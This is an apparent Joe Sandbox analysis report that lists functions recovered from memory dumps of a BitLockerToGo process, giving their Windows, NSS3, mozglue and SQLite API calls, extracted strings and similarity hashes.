Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 056df50ca82908a0007e022de2d42334970dc8bf9859d9fd5e8b08b8f9e6b308
Instruction ID: 88de61b92f677635ccabffd4b7e8712b6df609ae2f64e0ede347f8f586758043
Opcode Fuzzy Hash: 056df50ca82908a0007e022de2d42334970dc8bf9859d9fd5e8b08b8f9e6b308
Instruction Fuzzy Hash: 0081C0B1918301AFE711CF24D840B9BB7E8AB94308F14852DF998DB644E735E914CF92

Function 6C84D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C84D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C84D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C84D52A
GetCurrentThreadId.KERNEL32 ref: 6C84D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C84D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C84D55F
free.MOZGLUE(00000000), ref: 6C84D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C84D5D3
GetCurrentThreadId.KERNEL32 ref: 6C84D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C84D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C84D652
GetCurrentThreadId.KERNEL32 ref: 6C84D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C84D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C84D6A2

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 0255e3f880d46f8e11db843fdaa2752a69ec00a15a269acf662e788e2246c646
Instruction ID: 651e0dc9b18936324d3cb327fae5c8f0d5062ed1427013808ed959d8a297e9a2
Opcode Fuzzy Hash: 0255e3f880d46f8e11db843fdaa2752a69ec00a15a269acf662e788e2246c646
Instruction Fuzzy Hash: 27517271604709DFC714DF34C588AAABBF5FF89318F10892EE85A87711EB30A945CBA1

Function 6C956C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C95781D,00000000,6C94BE2C,?,6C956B1D,?,?,?,?,00000000,00000000,6C95781D), ref: 6C956C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C95781D,?,6C94BE2C,?), ref: 6C956C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C95781D), ref: 6C956C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C956C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C956C96

Part of subcall function 6C901240: TlsGetValue.KERNEL32(00000040,?,6C90116C,NSPR_LOG_MODULES), ref: 6C901267
Part of subcall function 6C901240: EnterCriticalSection.KERNEL32(?,?,?,6C90116C,NSPR_LOG_MODULES), ref: 6C90127C
Part of subcall function 6C901240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C90116C,NSPR_LOG_MODULES), ref: 6C901291
Part of subcall function 6C901240: PR_Unlock.NSS3(?,?,?,?,6C90116C,NSPR_LOG_MODULES), ref: 6C9012A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C956CAA

Strings

extern:, xrefs: 6C956C7E
sql:, xrefs: 6C956C52
dbm:, xrefs: 6C956C3A
rdb:, xrefs: 6C956C69
NSS_DEFAULT_DB_TYPE, xrefs: 6C956C91
dbm, xrefs: 6C956CA4

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 971addf34ca16c23afbb2e3dafe98d33b9a143ff98c47f60492a7a145521759c
Instruction ID: 3fc62b613371a6087854da790368cad341e942cbc8c82cc938d7bbf47b12c667
Opcode Fuzzy Hash: 971addf34ca16c23afbb2e3dafe98d33b9a143ff98c47f60492a7a145521759c
Instruction Fuzzy Hash: D801A7E17023522FEB00277AAE49F26356CAF8115DF948431FF04E0A42EAA6D57581B5

Function 6C964E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C9278F8), ref: 6C964E6D

Part of subcall function 6C9009E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C9006A2,00000000,?), ref: 6C9009F8
Part of subcall function 6C9009E0: malloc.MOZGLUE(0000001F), ref: 6C900A18
Part of subcall function 6C9009E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C900A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C9278F8), ref: 6C964ED9

Part of subcall function 6C955920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C957703,?,00000000,00000000), ref: 6C955942
Part of subcall function 6C955920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C957703), ref: 6C955954
Part of subcall function 6C955920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C95596A
Part of subcall function 6C955920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C955984
Part of subcall function 6C955920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C955999
Part of subcall function 6C955920: free.MOZGLUE(00000000), ref: 6C9559BA
Part of subcall function 6C955920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C9559D3
Part of subcall function 6C955920: free.MOZGLUE(00000000), ref: 6C9559F5
Part of subcall function 6C955920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C955A0A
Part of subcall function 6C955920: free.MOZGLUE(00000000), ref: 6C955A2E
Part of subcall function 6C955920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C955A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C9278F8), ref: 6C964EB3

Part of subcall function 6C964820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C964EB8,?,?,?,?,?,?,?,?,?,?,6C9278F8), ref: 6C96484C
Part of subcall function 6C964820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C964EB8,?,?,?,?,?,?,?,?,?,?,6C9278F8), ref: 6C96486D
Part of subcall function 6C964820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C964EB8,?), ref: 6C964884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C9278F8), ref: 6C964EC0

Part of subcall function 6C964470: TlsGetValue.KERNEL32(00000000,?,6C927296,00000000), ref: 6C964487
Part of subcall function 6C964470: EnterCriticalSection.KERNEL32(?,?,?,6C927296,00000000), ref: 6C9644A0
Part of subcall function 6C964470: PR_Unlock.NSS3(?,?,?,?,6C927296,00000000), ref: 6C9644BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C9278F8), ref: 6C964F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C9278F8), ref: 6C964F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C9278F8), ref: 6C964F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C9278F8), ref: 6C964F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9278F8), ref: 6C964F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9278F8), ref: 6C964F8F
PK11_UpdateSlotAttribute.NSS3(?,6CA3DCB0,00000000), ref: 6C964FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C96501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C9278F8), ref: 6C96506B

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: a8aef8d84598f1d14dd6d24191348824af07469208a4bd0615f1ede522cf9d9d
Instruction ID: 613f191213c11c52753cc1d5f535207644671e15f1f8d4f1d61bbb47466820d4
Opcode Fuzzy Hash: a8aef8d84598f1d14dd6d24191348824af07469208a4bd0615f1ede522cf9d9d
Instruction Fuzzy Hash: 8451F5B5900212DBFB019F66DC016AB36B4BF2531CF144635E84A46F92F731D565CBA2

Function 6C90ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C90ACE2
malloc.MOZGLUE(00000001), ref: 6C90ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C90AD02
TlsGetValue.KERNEL32 ref: 6C90AD3C
calloc.MOZGLUE(00000001,?), ref: 6C90AD8C
PR_Unlock.NSS3 ref: 6C90ADC0
free.MOZGLUE(00000000), ref: 6C90AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C90AE58
free.MOZGLUE(00000000), ref: 6C90AE69
free.MOZGLUE(?), ref: 6C90AE78
PR_Unlock.NSS3 ref: 6C90AE8C
free.MOZGLUE(?), ref: 6C90AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C90AEC7

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: c74e68b15c75774cd0b1e0045603b920277c0de57049bd8fff9177d53b77cd8f
Instruction ID: 98819ec4f3477a383182b38f9d4a297b00db78380d134d2e9a9c754389587610
Opcode Fuzzy Hash: c74e68b15c75774cd0b1e0045603b920277c0de57049bd8fff9177d53b77cd8f
Instruction Fuzzy Hash: 5251D375F002269BDF01DF68CC416BE77B8BB16349F148129D908A7B00DB34E946CBE6

Function 6C9E4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C9E4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C9E4CFD
sqlite3_value_text16.NSS3(?), ref: 6C9E4D44

Strings

bad parameter or other API misuse, xrefs: 6C9E4D05
invalid, xrefs: 6C9E4CF1
API call with %s database connection pointer, xrefs: 6C9E4CF6
unknown error, xrefs: 6C9E4D56
another row available, xrefs: 6C9E4D20
no more rows available, xrefs: 6C9E4D2E
out of memory, xrefs: 6C9E4C78, 6C9E4C9E
abort due to ROLLBACK, xrefs: 6C9E4D27, 6C9E4D33

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 0fd46276a0103f8e667f7e66c152c70a54f73021fc5ff6a1a777a77cd1f9faf1
Instruction ID: 4585913df9e4db68cb5bded65cbe903f5dbf6678a1d9bc518d9af8b02119dce3
Opcode Fuzzy Hash: 0fd46276a0103f8e667f7e66c152c70a54f73021fc5ff6a1a777a77cd1f9faf1
Instruction Fuzzy Hash: 32317AB2F04921A7D70B46A898007E4737ABFAE318F154139D4254BE15C725FCA28FE2

Function 6C83EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C839420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C804A68), ref: 6C83945E
Part of subcall function 6C839420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C839470
Part of subcall function 6C839420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C839482
Part of subcall function 6C839420: __Init_thread_footer.LIBCMT ref: 6C83949F

GetCurrentThreadId.KERNEL32 ref: 6C83EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C83EC8C

Part of subcall function 6C8394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8394EE
Part of subcall function 6C8394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C839508

GetCurrentThreadId.KERNEL32 ref: 6C83ECA1
AcquireSRWLockExclusive.KERNEL32(6C87F4B8), ref: 6C83ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C83ECC5
ReleaseSRWLockExclusive.KERNEL32(6C87F4B8), ref: 6C83ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C83ED19
CloseHandle.KERNEL32(?), ref: 6C83ED28
free.MOZGLUE(00000000), ref: 6C83ED2F
ReleaseSRWLockExclusive.KERNEL32(6C87F4B8), ref: 6C83ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C83EC94

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 913337816c3f50dab1b4d75b6714727e0042f1f1ae76564badcc67b6ec143ec4
Instruction ID: 406344891564b9da85307de5a3a154a87272c1512662dcd38a8543ff896f4727
Opcode Fuzzy Hash: 913337816c3f50dab1b4d75b6714727e0042f1f1ae76564badcc67b6ec143ec4
Instruction Fuzzy Hash: 6221D2716001289BDB329FA9DA0CAAF377AEB4526DF105A30F91897740EB359C15CBF1

Function 6C9E2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C9E2D9F

Part of subcall function 6C89CA30: EnterCriticalSection.KERNEL32(?,?,?,6C8FF9C9,?,6C8FF4DA,6C8FF9C9,?,?,6C8C369A), ref: 6C89CA7A
Part of subcall function 6C89CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C89CB26

sqlite3_exec.NSS3(?,?,6C9E2F70,?,?), ref: 6C9E2DF9
sqlite3_free.NSS3(00000000), ref: 6C9E2E2C
sqlite3_free.NSS3(?), ref: 6C9E2E3A
sqlite3_free.NSS3(?), ref: 6C9E2E52
sqlite3_mprintf.NSS3(6CA4AAF9,?), ref: 6C9E2E62
sqlite3_free.NSS3(?), ref: 6C9E2E70
sqlite3_free.NSS3(?), ref: 6C9E2E89
sqlite3_free.NSS3(?), ref: 6C9E2EBB
sqlite3_free.NSS3(?), ref: 6C9E2ECB
sqlite3_free.NSS3(00000000), ref: 6C9E2F3E
sqlite3_free.NSS3(?), ref: 6C9E2F4C

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 3f19fa329ad9db09bc531cb9f3168f519b53989aee39e668ade8ede01002d580
Instruction ID: fca61cc908c2657725337955cac2f9de2d4673a3ccc5613e26e6fad7882d70d8
Opcode Fuzzy Hash: 3f19fa329ad9db09bc531cb9f3168f519b53989aee39e668ade8ede01002d580
Instruction Fuzzy Hash: 8861ADB5E006168BEB11CFA8D884B9EB7B5BF68348F144428DD05AB701E731E855CBA1

Function 6C932C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C933F23,?,6C92E477,?,?,?,00000001,00000000,?,?,6C933F23,?), ref: 6C932C62
EnterCriticalSection.KERNEL32(0000001C,?,6C92E477,?,?,?,00000001,00000000,?,?,6C933F23,?), ref: 6C932C76
PL_HashTableLookup.NSS3(00000000,?,?,6C92E477,?,?,?,00000001,00000000,?,?,6C933F23,?), ref: 6C932C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C92E477,?,?,?,00000001,00000000,?,?,6C933F23,?), ref: 6C932C93

Part of subcall function 6C9BDD70: TlsGetValue.KERNEL32 ref: 6C9BDD8C
Part of subcall function 6C9BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C9BDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C92E477,?,?,?,00000001,00000000,?,?,6C933F23,?), ref: 6C932CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C92E477,?,?,?,00000001,00000000,?,?,6C933F23,?), ref: 6C932CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C92E477,?,?,?,00000001,00000000,?,?,6C933F23), ref: 6C932CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C92E477,?,?,?,00000001,00000000,?), ref: 6C932CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C92E477,?,?,?,00000001,00000000,?), ref: 6C932D4D
EnterCriticalSection.KERNEL32(?), ref: 6C932D61
PL_HashTableLookup.NSS3(?,?), ref: 6C932D71
PR_Unlock.NSS3(?), ref: 6C932D7E

Part of subcall function 6C9007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C89204A), ref: 6C9007AD
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C89204A), ref: 6C9007CD
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C89204A), ref: 6C9007D6
Part of subcall function 6C9007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C89204A), ref: 6C9007E4
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,6C89204A), ref: 6C900864
Part of subcall function 6C9007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C900880
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,?,6C89204A), ref: 6C9008CB
Part of subcall function 6C9007A0: TlsGetValue.KERNEL32(?,?,6C89204A), ref: 6C9008D7
Part of subcall function 6C9007A0: TlsGetValue.KERNEL32(?,?,6C89204A), ref: 6C9008FB

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: d1cfa98df2323adfcff1928f538567be42dfa4fd4b88b412445b04481ac012b9
Instruction ID: 0b7c01744b268d10513facc57e7e92102d1f3b2c80b8cc4767d1944588669266
Opcode Fuzzy Hash: d1cfa98df2323adfcff1928f538567be42dfa4fd4b88b412445b04481ac012b9
Instruction Fuzzy Hash: C85115B6D00615ABDB01AF24DC458AA77B8FF2931CB048524ED1C97B12E731E965CBE1

Function 6C894C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894CB0
PR_Unlock.NSS3(?,?,?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894D97
PR_Lock.NSS3(?,?,?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894DBA
PR_WaitCondVar.NSS3 ref: 6C894DD4
PR_Unlock.NSS3(?,?,?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894DEF

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: f2162320456d24d45ff6211bcab81afb047865ebb7da6c99d76acdb49777d99b
Instruction ID: 7f0a571caa8fec9c32e7f716f7d66e677e79da1385f01f834efd29d804aca141
Opcode Fuzzy Hash: f2162320456d24d45ff6211bcab81afb047865ebb7da6c99d76acdb49777d99b
Instruction Fuzzy Hash: A041B4B9A04716CFCF15AF7CC5941697BF0BF86319F068A29D89897B10E730D885CB91

Function 6C7F3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C7F3284,?,?,6C8156F6), ref: 6C7F3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C7F3284,?,?,6C8156F6), ref: 6C7F34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C7F3284,?,?,6C8156F6), ref: 6C7F34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C7F350E
__Init_thread_footer.LIBCMT ref: 6C7F3522
__aulldiv.LIBCMT ref: 6C7F3552
